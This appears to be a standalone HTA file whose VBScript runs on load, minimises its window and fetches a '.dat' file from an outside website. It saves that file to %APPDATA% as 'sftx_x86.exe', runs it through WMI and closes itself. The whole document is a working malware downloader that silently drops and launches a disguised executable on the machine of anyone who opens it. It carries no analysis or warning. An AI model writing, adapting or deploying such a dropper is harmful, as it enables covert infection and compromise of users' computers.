| 1234567891011121314151617181920212223242526272829303132333435363738394041424344 |
- <html>
- <head>
- <HTA:APPLICATION
- APPLICATIONNAME=""
- ID=""
- VERSION="1.0"
- WINDOWSTATE="minimize"/>
- <script language="VBScript">
- Sub Window_OnLoad
- Set objShell = CreateObject("WScript.Shell")
-
- ' Download the file using WinHttp
- Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
- objWinHttp.Open "GET", "https://agence-perinel.fr/cache/pointcross.dat", False
- objWinHttp.Send
-
- If objWinHttp.Status = 200 Then
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- strFilePath = objShell.ExpandEnvironmentStrings("%APPDATA%") & "\sftx_x86.exe"
-
- If objFSO.FileExists(strFilePath) Then
- objFSO.DeleteFile strFilePath
- End If
-
- Set objStream = CreateObject("ADODB.Stream")
- objStream.Open
- objStream.Type = 1 ' Binary
- objStream.Write objWinHttp.ResponseBody
- objStream.SaveToFile strFilePath, 2 ' Overwrite
- objStream.Close
-
- Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
- Set objProcess = objWMIService.Get("Win32_Process")
- objProcess.Create strFilePath, null, null, intProcessID
- End If
- window.close
- End Sub
- </script>
- </head>
- <body>
- </body>
- </html>
|
